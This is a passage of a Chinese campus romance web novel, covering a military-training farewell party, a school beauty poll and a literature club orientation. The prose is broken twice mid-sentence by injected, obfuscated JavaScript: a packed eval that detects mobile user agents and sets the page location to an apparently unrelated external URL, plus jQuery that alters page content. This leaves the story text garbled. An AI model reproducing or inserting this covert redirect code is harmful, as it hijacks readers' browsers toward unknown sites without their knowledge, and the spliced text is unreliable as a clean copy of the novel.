程书逸最终选择接过女生手里的报名表。 对方大松一口气，满意地朝他露出笑容并伸手道：“高二四班吕玲，学生会副会长，幸会。” 程书逸这次没有耍酷不跟人握手，他有些郁闷地跟吕玲握了手，吕玲说：“期待你的面试，加油哦！” 程书逸脸色难看道：“还要面试？” 吕玲点点头，有些为难道：“规矩就是这样，再优秀也得按流程来，不过面试不难，我相信你应该没问题的。” 趁着宋西宝填资料的功夫，方思彤和周笃文一起去隔壁围棋社报了名。 折腾完，食堂都没啥学生了，四人在一楼打了饭，刚坐下来，宋西宝眼尖地瞥见程书逸裤兜里插了个东西，她伸手将卷成筒的纸张拽了出来，一看——校学生会面试申请表。 “你要进学生会啊？”宋西宝问。 程书逸一把将东西夺了回来，语气不好道：“怎么，不行啊？” 宋西宝奇怪地看他一眼，没明白他好端端地怎么突然又生气了：“我没说不行啊，你想进就进呗，不过我刚听旁边那些人说进学生会主要就是帮老师干各种乱七八糟的活，你可想清楚了。” 宋西宝从小跟“老师”八字不合，一听要帮“老师”干活，躲还来不及，怎么可能再往前凑？ 她说完这话，忽见程书逸阴恻恻地冲她笑了下，她“咦”了声，搓搓两边胳膊道：“你笑这么阴险干嘛？” 程书逸收起笑容，好整以暇地坐直身子，抖了抖那张卷曲的报名表道：“我要进学生会的社联部，知道社联部全称叫什么吗？社团联合管理部，顾名思义，这部门是干什么的，不用我多说了吧？” 程书逸把吕玲同他说过的话原模原样地搬过来又说了一遍。 宋西宝：“……” 大意了。 程书逸看她一脸不爽，心里终于舒服了点。 周笃文和方思彤互相对视一眼，默契地没有掺和到二人的恩怨里去，都假装没听到，只顾埋头刨饭。 因为考虑到第二天上午就要会操表演，表演结束后为期七日的军训也就正式结束了，所以当晚教官们商量了一下，把高一十八个班分成了四大组，搞了个集体大联欢。 组队结果由抽签决定，最终宋西宝所在的十四班和程书逸所在的八班、周笃文以及方思彤所在的六班，再加十三班和二班组成了一组，四人如愿又聚在了一起。 五个班的教官指挥大家手拉手拉出一个大圈来坐下，看到黑皮提着音箱上来时，十四班的学生都叫疯了。 黑皮拿出话筒，打开音箱喂了几声，邱俊杰手扩成喇叭放在嘴边吼：“来一首！” 很快，同学们都跟着喊来一首来一首，连日来难见笑颜的教官终于忍不住在同学们热情的欢呼下咧嘴笑了。 宋西宝看着黑皮教官朴实的笑容，心里突然意识到教官明天就要走了这件事。 她难以形容当下那一刻的心情，回想起大家朝夕相处训练的这几天，好像有点舍不得，又有点感动。 黑皮高举双手下压示意大家安静，然后拍了拍话筒，说：“同学们好，我是教官张磊。” 话音落，他收敛表情，挺直脊背绷紧双腿给同学们敬了个礼，掌声呼啦啦地响了起来。 张磊：“我代表其余四位教官，在这里首先要向同学们说声谢谢，谢谢大家这段时间的理解和信任，谢谢你们的配合。在日常的训练中，我们对你们不苟言笑、要求严格，可能有不少同学，比如十四班的同学，都会觉得我们当教官的太凶了，一点也不亲近，但你们知道我们为什么要表现得这么严厉，这么凶吗？” 大家齐声喊不知道。 张磊咧嘴一笑，画风突变道：“因为我们其实也没比你们大几岁，要是不凶点，怕镇不住你们哦！” 所有人哈哈大笑。 张磊讲完话后，另外一位教官接过了话筒，说他们几个教官各自给同学们准备了一点小节目，希望大家捧场。 欢呼声立马响了起来，首先登场的是十三班的教官马天赐，他唱了一首《星星点灯》，十三班的学生特别给面，好几个男生都跑上去给他伴舞了，“优美”的舞姿和“销魂”的表情逗得大家捧腹大笑。 张磊是最后一个出场的，他拿着话筒表情难得一见的腼腆，他说自己既不会唱歌也不会跳舞，什么才艺都没有，只能给大家打一套军体拳。 宋西宝听得眼睛都有点发酸了，带头站起来啪啪啪地给他们班教官鼓起了掌，邱俊杰也跟着站了起来，大喊道：“黑皮你最帅！我们爱你！” “哈哈哈哈哈哈哈……”周围一圈人笑得前俯后仰手捶地，张磊伸手一指他，想装严厉结果自己也没绷住笑了起来，“你们再给我乱起外号！” 教官们表演完后，他们玩了几轮大型丢手绢，输了的人要到圈中心表演才艺。 这个环节最惨的就是八班的程书逸和吴静初，他俩受累于出众的外表和过于响亮的名声，一个被丢了五次手绢，一个被丢了三次。 吴静初跑步不行，连登了三次台，第一次登台众人起哄声非常大，她面皮微红，说自己没什么拿得出手的才艺，就会拉个小提琴，但是今天又没带。 美人就是美人，宋西宝看她垂着眼咬唇，一副生涩又娇羞的模样，差点想冲上去英雄救美。 可惜教官是个心硬的，不肯放过她，最后没办法吴静初只好唱了两首歌，然后小跳了一段民族舞。 程书逸比她要好些，五次里逃脱了四次，只有最后一次实在跑不动了，才认输。 在一阵又一阵的欢呼声中，程书逸一脸尴尬地走到了圈中心站着。 他取下帽子往后顺了把头发，因为有汗，额前的刘海被他捋得往后立了起来，看着就像抹了发胶做了个造型似的，操场的大灯打在他精致立体的五官上，有种惊人的美。 谢飞燕激动地抱住宋西宝的胳膊抖动，说：“他真的好帅啊！” 宋西宝：“……” 隔壁几组的人听说程书逸输了游戏要表演才艺，好多都张望了过来。 马天赐拿着话筒采访他，问他打算给大家表演什么才艺？ 程书逸想了想，说：“我给大家吹一段手哨吧。” 谢飞燕疑惑：shoushao？ 宋西宝两手握在一起给谢飞燕示意了一下：“手哨，就是利用指节间的出气口吹哨子，技术好的还可以通过调整手位吹曲子。” 谢飞燕恍然大悟。 程书逸的手哨是宋西宝教他的，而宋西宝的手哨则是跟爷爷宋定邦学的。 宋定邦不止会吹手哨，还会模仿好多动物的叫声，宋西宝是亲眼见识过她爷爷模仿各类鸟叫的，那动静不说九成像，简直是一模一样，别说人分辨不出来，就是鸟自己听见估计都犯嘀咕。 他俩一起在梧桐一小念书那会儿，程书逸老看见宋西宝在路上摘叶子吹小曲儿，他央宋西宝教他，宋西宝教是教了，可惜他怎么都学不会，学不会他就不高兴，宋西宝为了哄他，就教他换个方式吹，吹手哨，其实手哨还要难点，可没想到程书逸居然一学就会了。 马天赐站在程书逸身旁给他举着话筒，程书逸闭上眼睛，以手作哨，五指起起落落，吹了一段小曲。 他发是黑的，脸白得反光，长长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004868|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睫盖住狭长眼眸，高挺的鼻梁在侧边打下一片三角阴影。 极致的色差带来了极致的视觉美感，他只要站在那儿，就仿佛天生被聚光灯笼罩。 谢飞燕沉浸在美色中，喃喃自语道：“好想试试长这样一张脸啊……” 就连早已对他那张脸免疫的宋西宝瞧着这一刻的程书逸，都不免生出点——“程书逸这厮看上去好像是有点小帅啊”这样的想法。 女生们悄悄摸出手机拍照，吴静初坐在草坪上以手托腮看着圈中心万众瞩目的少年，清晰地感知着自己剧烈的心跳。 宋西宝玩了一晚上游戏都没输过，结果最后一轮玩击鼓传花时却老马失前蹄输了。 起哄声、掌声、欢呼声如期而至，她也没扭捏，手往草地上一撑跳了起来，大步朝圈中心的教官走去。 不远处，程书逸并没有跟着众人一起鼓掌，而是目光担忧地看着她。 也不怪他忧虑，毕竟往事还历历在目，他可没忘记某人小学四年级参加比赛表演完后哭成花猫似的一张脸。 “我给大家唱首歌吧！”宋西宝从教官手里接过话筒，大大方方地说。 底下几个她的熟人带头鼓起了掌，邱俊杰最显眼，还喊了一声“女神”，吓得宋西宝瞪圆眼睛看了他一眼。 完全出乎程书逸的意料，宋西宝竟然唱了一首粤语歌，周慧敏的《最爱》。 她唱歌的嗓音同她说话时不太一样，明显要更磁性一点，有种娓娓道来的故事感和深情感，情绪特别足，邱俊杰听得入迷，手都挥起来了。 程书逸想象中她会有的拘谨、瑟缩、别扭实际通通都没有，她唱歌的时候是那么地沉醉其中，肢体舒展自然，甚至连表情她都拿捏得恰到好处，就像一个舞台熟手。 周笃文靠过来，撞了下程书逸肩膀，说：“没想到吧？” 程书逸心情复杂地嗯了声，说：“没想到她唱歌变这么好听了。” 周笃文笑了笑，说：“你还记得那年你俩参加的那个比赛吗？当时西宝输了以后不是哭得特伤心吗？” 程书逸点头：“是啊，但是她今天表现得很好，跟小时候完全不一样了。” 周笃文问他：“知道为什么不？” 程书逸摇头。 周笃文说：“因为熟能生巧。” 程书逸不解问：“什么意思？” 周笃文：“你转走后的那两年，学校组织的每一届文艺之声她都报名参加了，包括上了初中之后也是，学校但凡有文艺类的比赛她都会去报名。西宝跟我们说过，她说她可以丢脸，但不会一直丢脸。” 可以丢脸，但不会一直丢脸。 这确实像是她会说的话。 一曲终了，宋西宝在全场热烈的欢呼声下俏皮地将手在空中绕了两圈然后弯腰给大家行了个鞠躬礼。 即便眼前没有像样的舞台，灯光也不够绚丽多彩，但她依然闪耀得令人心惊。 程书逸看着人群之中笑容灿烂的女孩，虽然脸上表情很平静，但心跳却难以抑制地加快了。 他知道她一向勇敢，从八岁那年他俩第一次见面的时候他就知道。 他以为自己已经习惯了她的魅力，然而事实证明，他永远无法逃脱她的吸引。 隔着人群，宋西宝向他投来一瞥。 像是要为这个惊喜画下一个完美的句号，她莞尔一笑，俏皮地朝他眨了下眼。 轻盈，又美丽。 夜风轻轻拂过少年心湖，涟漪泛开，一朵细嫩白荷施施然自心湖中央升起。 月夜幽寂，白荷含苞待放。 少年心事，明明白白。 31. 早恋 第二天的会操表演即开学典礼上，程书逸作为新生代表上台发表了演讲。 上台前，他遵照教务处老师的嘱咐，换上了四中的校服。 四中的校服是黑白色的，款式普通，版型也一般，要想把这种校服穿得好看，只有一个办法——靠脸。 程书逸上台后，台下学生队伍里的声音明显大了很多。 他不像旁人，校服衣领是折下来平放在两边的，他的校服拉链是一拉到顶的，这种立领的穿着方式明显让他整个人看着气质更显锋利冷峻了。 他没有脱稿，照本宣科，真就像他之前说过的那样，就是上去念个稿子，一点演讲的激情都没有。 不过是不是正式演讲也没那么重要，毕竟台下大部分人，尤其是一部分女生，压根儿就没注意听他讲了个啥，光顾着看脸了。 开学典礼结束后的当天，学校贴吧里的新生校草校花评选贴突然火了，大家纷纷涌入贴吧回复加投票，一晚上就叠了几百层楼起来。 宋西宝原本排名在十几名开外，但自从有人把她那晚唱歌的视频贴了上去以后，很快她的排名也跟着水涨船高，一路飙升到了第八名。 而前三分别是八班的吴静初、十三班郑潇婷以及九班的裴梦君。 “校花”头衔厮杀激烈，前十名的票数差异都不是很大，不到投票截止时间，谁也不知道“校花”最后花落谁家。 反观隔壁“校草”的评选场面就温和多了——程书逸排名第一，票数一骑绝尘，结果如何，显而易见。 虽说没有女孩不喜欢被别人夸漂亮，但宋西宝心里对于评选校花这事总感觉怪怪的——要是有人单夸她漂亮，她肯定高兴，但对方要是非把她跟别的女孩作比较，非要在一堆漂亮女孩里评选出一个最漂亮，她就觉得挺不舒服的。 这就好比小时候家里人总说她没个女孩样，一点不文静、不淑女，你看谁谁谁，人家就比你文静多了，那才像个女孩样呢！ 她讨厌被比较，不管她会不会“赢”，她都讨厌这一点。 觉得一个人美，那就单纯赞美她/他、欣赏她/他不就好了？为什么非得比较呢？不美的人又做错什么了？ 一个礼拜后，校花校草的评选结果出来了，校草的头衔毫无悬念地落在了程书逸头上，至于校花……十三班的郑潇婷和八班的吴静初票数并列第一，都是校花。 这天放学回家的路上，他们四人在公交车上聊起这事，宋西宝还调侃程书逸，说他现在是校草了，应该很快就有女生来给他告白递情书了，结果没想到她说完这话的第二天，自己就先被人要了联系方式—— 那男生是高二的，自称是校音乐社的副社长，因为看了网上宋西宝唱歌的视频而心生好感，专门从高二教学楼跑到高一教学楼来找她，问她愿不愿意去音乐社给他们当主唱？ 宋西宝拒绝了，她说自己还是更想去文学社。 副社长点头表示理解，临走前又问她，那能不能加个联系方式？ 宋西宝爽快点头道：“行！” “所以你就把联系方式给他了？” 公交车上，程书逸皱着眉，脸色有一点点难看。 宋西宝还很无所谓：“对啊，我加他扣扣了，他人还挺搞笑的，给我发了好多冷笑话哈哈。” 宋西宝还问他：“你要看吗？” 程书逸：“……” 后排的方思彤和周笃文看程书逸那阴沉的脸色，担心待会儿吵起来俩人的唾沫星子蹦他俩脸上，都格外默契地往后坐直了些。 夜晚的公交车没什么人坐，车厢里因为没人说话一时变得格外安静。 程书逸偏头瞪着车门，憋了半天，最后憋出来一句：“宋西宝，我提醒你一下，早恋是违反校纪校规的。” 宋西宝无语回怼道：“谁早恋了？你别给我乱扣帽子啊！” 程书逸：“你是不想恋，那别人呢？你怎么知道他们是不是居心不良，对你另有所图？那个什么副社长，这么高调跑你们班去找你，万一被老师知道了，你就等着被叫家长吧！” 宋西宝想了想，犹豫道：“不至于吧……” 程书逸呵呵两声，直接把问题抛给了周笃文：“师爷，你说这事至不至于吧！” 周笃文：“……” 关他屁事啊。 “咳咳，确实有点内什么，主要是咱们现在这个年龄段，学校对于异性相处的这个尺度抓得还是挺严格的，万一真被老师知道了，老师们肯定是宁肯错杀不肯放过，就算不叫家长，可能也得找你过去谈话问问情况，是吧，思彤？”周笃文微笑着转头看了方思彤一眼。 方思彤“啊”了声，老实道：“我不知道啊。” 周笃文：“……” 程书逸表情倨傲，显然有了盟军后说话底气都更足了些：“反正你爸妈要是问起来，我可不会替你隐瞒。” 宋西宝小嘴一拉，总觉得程书逸是因为嫉妒她人缘好，在故意找她茬。 但有一说一，确实一个高二的这么堂而皇之地跑来高一教学楼找她好像是有点那啥，要是他是女生就算了，偏偏他还是个男的。 宋西宝已经体验过谣言传起来有多么离谱了，要是真有人乱传她跟那副社长有点什么然后被他们家谭女士知道了，那她就死定了！ “那我加都加了，我总不能直接把人又给删了吧？”宋西宝撅着嘴，不高兴道。 程书逸反问：“为什么不能？你要是下不去手我帮你。” 宋西宝：“……” 宋西宝转过脸去不想搭理他，程书逸看她闷闷不乐的样子，也没再继续说下去。 冷静下来后，程书逸意识到自己管得有点多了，跟谁交朋友是她自己的权利，他又有什么资格置喙这么多呢？ 即便是她真的早恋了，也轮不到他来管，他跟她，不过是朋友。 不过是朋友罢了。 中秋节，古晓琴出差外地，程书逸被宋西宝拉去她家一起过了节。 饭桌上，宋卫国问两个小孩高中生活感觉怎么样？ 程书逸本来想说“还好，没啥特别的”，但仔细一想又觉得这回答太简短了，显得有些敷衍的同时还容易冷场。 他搜肠刮肚了半天，像写日记一样把自己入校后做过的事通通汇报了一遍，那一本正经的语气听得宋卫国和谭淑媛一愣一愣的，筷子都放下了。 “……其余就没什么了。”程书逸有些难为情地在裤腿上搓手。 夫妻俩对视一眼，都忍不住笑了。 谭淑媛夹起一颗大肉丸放进他碗里，又故意逗他问：“那学校里有没有女孩子给你写情书啊？” 程书逸摇头，又斜睨宋西宝一眼，故意说：“我是没有，不过……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011723|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋西宝笑容一僵，脑中警铃大作，忙夹起一块鸡翅膀怼他嘴上打断道：“程书逸你尝尝我爸烧的可乐鸡翅，可好吃了！” 谭淑媛追问：“不过什么？” 程书逸浅白宋西宝一眼，嚼吧嚼吧将鸡肉咽下说：“不过别人有没有我就不知道了。” 话题莫名转到了“早恋问题”上，两个大人对此各执一词—— 谭淑媛觉得早恋不妥，应该被严厉禁止和严肃打压，而宋卫国觉得应该视具体情况而定。 比如，若是早恋对两个孩子带来的是积极正面的影响，那就应该用温和的态度来处理；若是消极负面的影响，那才应该用严厉的手段来解决。 对此，宋西宝表示她举双手双脚赞同老爸的观念，而程书逸则坚决站在谭淑媛那边，认为当学生的就得有个学生样，目前应该一切以学业为主，不应该分心去想别的事。 宋西宝哼哼两声，说：“话说这么绝，你小心最后自己打自己的脸！” 程书逸：“……” 节后，文学社的面试筛选结果出来了。 说起这个面试，宋西宝还是面试完后才知道，原来除进入校学生会需要面试外，所有社团里，就只有文学社需要面试，原因嘛，也简单，就因为报名的人数太多了——文学社这次的招新名额只有十二个，但是报名的人却有六十多个！ 宋西宝担心自己会落选，还有点后悔当初拒绝那个副社长拒绝得太干脆了，没给自己留条后路。 但幸好最终的结果是她成功入选了，就是可惜她没能如愿被分到广播部，而是被分去了活动部。 文学社的组织架构很简单，就三个部门：编辑部、广播部还有活动部。 编辑部的主要职责是负责编辑校刊和社报，校刊一月一换，而社报每周都需要更新。 编辑部的工作量大，因此算是文学社最重要的一个部门。 广播部顾名思义主要是负责校广播站的宣传工作。 至于活动部，则是负责策划各类文学性的活动——校团委对文学社的活动部有硬性指标，要求每学期要组织不少于三场的公开的面相全体师生的文学类活动。 周二晚上课间，宋西宝收到社长徐嘉树的短信，通知他们入选的新生最后一节晚自习到学生活动中心三楼301开迎新会。 这感觉太奇妙了，宋西宝去向魏勇请假的时候几乎有种明目张胆翘课的感觉。 她欢天喜地地跑出明理楼向着活动中心飞奔，路上遇见跟她同方向的一男一女，彼此你看看我我看看你，那两人的表情就好像想跟她打招呼但又不敢似的。 每到这时候，宋西宝体内就会燃起一股莫名其妙的热情促使她主动上前跟对方说话。 宋西宝主动停下来询问对方道：“你们也是去301开会的吗？” 两人忙点了点头，其中那个戴眼镜的小个子男生问她：“你也是新加入文学社的吗？” 宋西宝“嗯”了声，报上了自己的姓名和班级。 男生说：“我叫郭凯，十一班的。” 另外一个女生说：“我叫曾跃，我在五班。” 三人结伴上了三楼，还没走近，就已经听见了301教室里的热闹。 郭凯扭头正想问宋西宝他们是不是来晚了，结果就见她脚步一顿，莫名其妙来了句：“我去，他怎么也来了？” 32. 迎新会 郭凯问：“怎么了？” 然后顺着她视线望了过去。 曾跃也往前看了眼，然后有点惊讶地小声说了一句：“是程书逸。” 程书逸也看到她了。 宋西宝让郭凯和曾跃先进去，自己走了过去问：“你怎么在这儿？” 话音刚落，教室后门一个女生探出头来：“程书逸，签到本给我一下。” 宋西宝应声望过去，跟吴静初视线对了个正着。 程书逸把手里的签到本递给她，吴静初看看他，又看看宋西宝，最后视线回到程书逸身上，眼睛微微睁大问：“你朋友吗？要签到吗？” 她作势要把签到本递回去。 程书逸说：“你先给里面的人签吧。” 吴静初噢一声，又看了宋西宝一眼，友善地冲她笑了下，就进去了。 宋西宝靠近碰了下他胳膊，问：“你认识吴静初啊？” 程书逸点头：“她跟我一个班的，我俩在学生会也是同一个部门。” 宋西宝斜眼瞟了他一眼，心说，我问你学生会的事了吗你就说，显得你！ “你还没说呢，你怎么在这儿？”宋西宝心里浮起不太好的预感，果然，程书逸说，“社联部有明文规定，三大社搞活动的时候必须有两名及以上社联部干事到场监督活动执行……”他轻哼一声，比出两指指向自己又指向她道，“我就是来监督你的！” 幼稚。 宋西宝翻了个白眼给他，从他身边挤过进了教室。 签到完成后，吴静初收起签到本和笔去后门找程书逸。 程书逸守在教室后门，看她过来，微直起身问：“都签了吗？” 吴静初点头，又把签到本递给他看，手指着其中一处说：“你朋友字写得好好看啊！” 程书逸顺着她手指的地方看了眼，确实，在一众歪七扭八的字体里，龙飞凤舞的“宋西宝”三字让人看着眼前一亮。 吴静初又问：“她是专门练过行书吗？” 程书逸摇头：“不知道有没有专门练过，不过她从小字就写得好看。” 程书逸说话时，吴静初偷瞟了他一眼，发现他说这话时的眼神跟平时看起来很不一样，好像突然有了温度，也有了情绪。 她慢悠悠点着头，顺势问了一句：“你们俩从小就认识吗？” “嗯。” 程书逸只“嗯”了一声，并没有像她预期的那样说出更多关于他和宋西宝的事。 吴静初扭头看了眼坐在教室里背对着他们的女孩，那个叫宋西宝的女孩，其实她早在开学报道那天就见过她了—— 开学那天，宋西宝在走廊上喊程书逸的名字，当时吴静初就排在程书逸身后几位，看见程书逸转头，她自然而然地也跟着转头看了一眼。 当时走廊里人虽然多，但宋西宝长相突出，吴静初一眼瞧过去，视线自然而然地就落在了她身上。 后来军训搞联欢会那天晚上，宋西宝玩游戏输了上去唱歌，她随同学们一边挥手一边看了眼不远处的程书逸——怎么说呢，当时程书逸看宋西宝的那个眼神，她很熟悉。 因为她经常收获这样的眼神。 她本以为，她也能在程书逸身上收获这样的眼神，只是可惜，她似乎出现得晚了一点。 文学社的迎新会比宋西宝想象中要正式很多。 首先是社长、副社长以及各部部长分别上台做自我介绍，然后是他们新生挨个起立做自我介绍。 自我介绍的环节结束后，徐嘉树便开始播放PPT。 PPT的内容有很多，主要是介绍文学社的发展史以及展示多年来各种社团活动的现场照片，宋西宝看得津津有味。 PPT放完后，徐嘉树说了一件事，关于应到新成员十二人，实到新成员十人这件事—— “没有来的那两名同学是因为父母的要求，提了退社。他们的父母都认为参加社团是不务正业，会影响孩子的学业，所以不论我跟副社长如何向他们争取，他们都不同意自己的孩子加入文学社……这当然是非常遗憾的，据我所知，退社的其中一位同学初中时就经常在本地文艺报上发表诗文，他对文学创作是有非常大的热忱的……” 徐嘉树说起这些时脸色并不好看，整个人的气质一下就从如沐春风变成了忧郁寡欢。 宋西宝同台下大多数人一样不敢作声，只是茫然地看着他。 “我今天讲这件事主要是想告诉大家，文学社不是一个嬉笑玩乐的场合，我们不接受随随便便、自由来去。大家聚在一起，是要认认真真做点事的！” “我们做社报做校刊，也不是闹着玩，而是为了让外界听到四中学子的声音、看到四中学子的思想！这些可能确实会占据一部分大家的课余时间，我也非常理解大家作为学生的压力，毕竟我自己就是学生，所以如果有人担心社团活动会影响你的学业，那么从现在起三天之内，你可以向我和副社长刘敏提出书面申请要求退社，但如果大家决定继续留在社里，那么我希望你们能清楚地知道自己究竟是为了什么留在这里！” …… 迎新会结束后，距离最后一节晚自习下课还有几分钟，大家三三两两散去，曾跃问宋西宝：“你还回教室吗？还是直接回宿舍啊？” 宋西宝说：“噢我走读，没住校。” 曾跃向她投去羡慕的目光。 宋西宝扭头看了眼等在后门的程书逸，同曾跃挥挥手道：“那我先走了，拜拜！” 曾跃也挥手道：“嗯嗯，拜拜。” 宋西宝走到后门招呼程书逸走了，程书逸一挺身站直了跟在她身后走出教室，顺便吐槽道：“磨磨唧唧，慢死了。” 他俩先出了学校，宋西宝说想喝红豆奶茶了，程书逸让她在校门口等那没出来的俩，他去给她买奶茶。 宋西宝闻言，立刻狗腿地朝他敬了个礼：“耶sir！3克油sir！” “德性。”程书逸又问，“师爷和彤姐喝啥味道啊？” 宋西宝说：“师爷原味不要珍珠，彤姐香芋多加份珍珠。” 程书逸比了个ok的手势。 校门口的避风塘这会儿人正多，程书逸排了半天才排到吧台，他按顺序道：“老板我要两杯红豆，其中一杯多加份红豆，还要一杯原味和一杯香芋，原味的不要珍珠，香芋的多加一份珍珠，麻烦了。” 程书逸点完单走到一边去等着了，周围很多人看他，吴静初正跟女同学说着话，被身边人轻轻拽了下，示意她往后看。 “程书逸，你也来买奶茶？”吴静初走过去跟他打招呼。 程书逸嗯了声，抬头见对面那三人过来了，忙挥了挥手。 吴静初顺着扭头一看，又看见了宋西宝，还有另外两个不认识的一男一女。 “两杯草莓的好了！”老板在吧台里喊。 吴静初抬手应了一声：“我们的！” 吴静初取了奶茶准备走，正好宋西宝他们也过来了，吴静初还是冲她点头一笑，这回宋西宝主动开口跟她搭了话：“你也是走读生啊？” 吴静初点点头，站她身旁的女生小声问这是谁？ 宋西宝主动自我介绍，三人互换了姓名班级，几句话的功夫，宋西宝把两人的家庭住址都问出来了。 “……那你们也可以坐 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程书逸浅白她一眼，终于确定好了右手这杯是多加了份红豆的，于是便把右手这杯递给了她。 宋西宝接过奶茶，偷偷瞧他，问：“你不会是在这杯奶茶里下毒了吧？” 程书逸冷笑，说：“对，我下毒了，给你下了砒霜，敢喝就死。” 宋西宝瞅他那样，玩乐的心思起来，故意面色沉重地叹了口气，恶心道：“罢了，既是你递给我的，便是穿肠剧毒，我也心甘情愿！” 宋西宝说完，一副壮烈模样将吸管插进杯中大吸了一口，而后捂着胸口装模作样地往程书逸身上倒道：“美人好狠的心肠！竟真的舍得给寡人下毒！” 一旁的周笃文和方思彤对她随地大小演这事已经习以为常了，眼风都没闪一下。 宋西宝沉浸在自己设定的角色里，完全没有注意到程书逸的表情在她说完“心甘情愿”四个字后突然变了。 程书逸拿着奶茶没喝，他眼睛斜向下看，淡声问：“真的吗？” “嗯？”宋西宝咬着吸管抬头看他，余光里还在留意前方开来的公交车，“什么真的？” 程书逸看她没心没肺那样，在心里叹了口气，收回视线道：“没什么。” 宋西宝皱着眉头看了他一眼，什么啊，奇奇怪怪的。 “车来了！”宋西宝抓着他胳膊跳起来。 回家路上，宋西宝问起方思彤围棋社有没有迎新会？ 方思彤点点头，说：“有，我们社长说这周末带我们去人民公园玩。” “人民公园？”宋西宝惊讶，“那地儿有什么可玩的，不全是下棋的大爷和相亲招女婿的大妈吗？” 周笃文说：“我们社长说人民公园高手如云，他带我们去见见世面。” “……” 宋西宝又问：“诶我都忘了问你们了，你们围棋社人多吗？今年招了多少新生啊？” 周笃文和方思彤同时比了个“三”。 宋西宝绝倒，完全不想问除了他俩，那第三个倒霉蛋是谁？ 方思彤又问她今晚参加文学社的迎新会感觉怎么样？ 宋西宝一听，顿时来了精神，洋洋洒洒地跟她和周笃文讲了一大通，把徐嘉树夸得天上有地上无，听得一旁的程书逸脸越来越黑，忍不住阴阳道：“你倒是听得认真，上课怎么不见你这么认真听讲啊？” 宋西宝白他一眼，理直气壮道：“要是我们班男老师长得都像徐嘉树那么帅，我肯定乐意听讲！” 程书逸：“……” 33. 两面派 往后的几天里，“徐嘉树”这个名字开始以超高频率出现在几人的谈话中。 最新一次是宋西宝说，徐嘉树同意了她转广播部，不过这学期她还是得先待在活动部，如果表现得好，下学期就能转。 程书逸听完就想冷笑，觉得她可真好哄，不能马上做到的事先说出来给你个念想骗你好好干活，这跟给驴眼前吊根胡萝卜骗它拉磨有啥区别？ 偏她是个实心眼，一哄就上当，还对人家感恩戴德的。 程书逸不喜欢徐嘉树，很不喜欢。 他因公在校团委办公室跟此人打过两次照面，一次是他主动打招呼叫了声“学长”，结果徐嘉树径直从他身边走过没搭理他。 还有一次是徐嘉树给学校宣传墙画宣传画，他刚好从团委办公室出来，徐嘉树瞧见他出来，便支使他去接一桶洗笔水。 他本来不想帮徐嘉树接水，但一来当时周围确实没什么别的路过的人，二来徐嘉树坐在高高的三脚架上画画，上下确实也不方便。 他不想给自己找麻烦，便照做了，结果他水接来了，此人连声谢谢都没有。 程书逸没跟宋西宝说过这些，他不想当长舌的人，但架不住宋西宝一直夸徐嘉树有多好多好，他听得实在是烦，心里也窝火，便没忍住，同宋西宝呛了几回，也挂了几次脸。 宋西宝开始还不知道他莫名其妙发什么脾气，经周笃文提醒才知道他不喜欢徐嘉树，但她去问他又不肯解释为什么不喜欢徐嘉树，只说徐嘉树是个伪君子，让她眼睛擦亮点，不要什么人都巴心巴肝地去结交。 宋西宝看他真的生了气，更加好奇到底是为什么？ 她不好问徐嘉树，便只好又跑去问周笃文，最后通过周笃文的迂回打听才得知这背后的真实原因。 但是知晓原因后，宋西宝更茫然了，因为程书逸描述中的徐嘉树跟她认识的那个徐嘉树完全就像是两个人。 她认识的徐嘉树，温润如玉，彬彬有礼，怎么会是程书逸说的那个样子，那么傲慢无礼呢？ 但是要说是程书逸故意撒谎、污蔑徐嘉树，那她就更不相信了。 思来想去，宋西宝觉得，可能这中间有什么误会也不一定。 但这话她没敢在程书逸面前说，怕程某人听了直接发飙，那她可招架不住。 国庆前夕，宋西宝收到一个好消息和一个坏消息。 好消息是，文学社决定在国庆节组织一场户外诗朗诵活动，地点就选在城外的紫云峰。 这场活动不对外，只是社内成员参加，活动当天成员们需自备诗集一本。 而坏消息是，第一次月考的时间出来了，就在国庆返校的那天下午，先考三门主科，再考副科。 “学校真是绝了，放个假都不让人安心，为啥不能安排在九月底考，考完再放假啊？” 说这话的是宋西宝他们班的班长章楚楚。 章楚楚虽然是班长，但这个班长并不是她自愿当的。 军训结束后，魏勇在班上搞了一场班委自主竞选会，结果主动举手的就一个竞选体育委员的邱俊杰，别的班干部职位没有一个主动举手的，魏勇气坏了，最后直接指定了同学来担任。 章楚楚的入学成绩在十四班排第三，在年级上排第89名，她也戴眼镜，镜片厚得就像个放大镜似的。 宋西宝本来跟她交情很浅，直到有一次课间，章楚楚眼睛红红的从女厕所出来被宋西宝撞见了，宋西宝问她怎么了，她不肯说。 宋西宝问半天没问出来，便假装吓唬她说要去叫魏老师，章楚楚一听，急得忙说自己只是看小说看哭了。 宋西宝自己也是个小说迷，但她从没为一本书哭成这样过。 她问章楚楚看的什么小说，章楚楚扭捏半天，才悄悄告诉她名字。 夜里，宋西宝躺在床上用手机搜章楚楚告诉她的那本小说，她看了好几章后才反应过来这个小说写的是两个男人之间的故事。 她先是有点震惊，震惊完了她又忍不住想继续看，结果这一看就没忍住看了个通宵，第二天早上起来眼睛直接肿成了俩核桃。 经此一役，宋西宝和章楚楚接头成功，再加上谢飞燕，仨女生成了无话不说的好朋友，每天课间都聚在一起讨论小说。 但这天课间她们聚在一起讨论的却不是小说，而是月考。 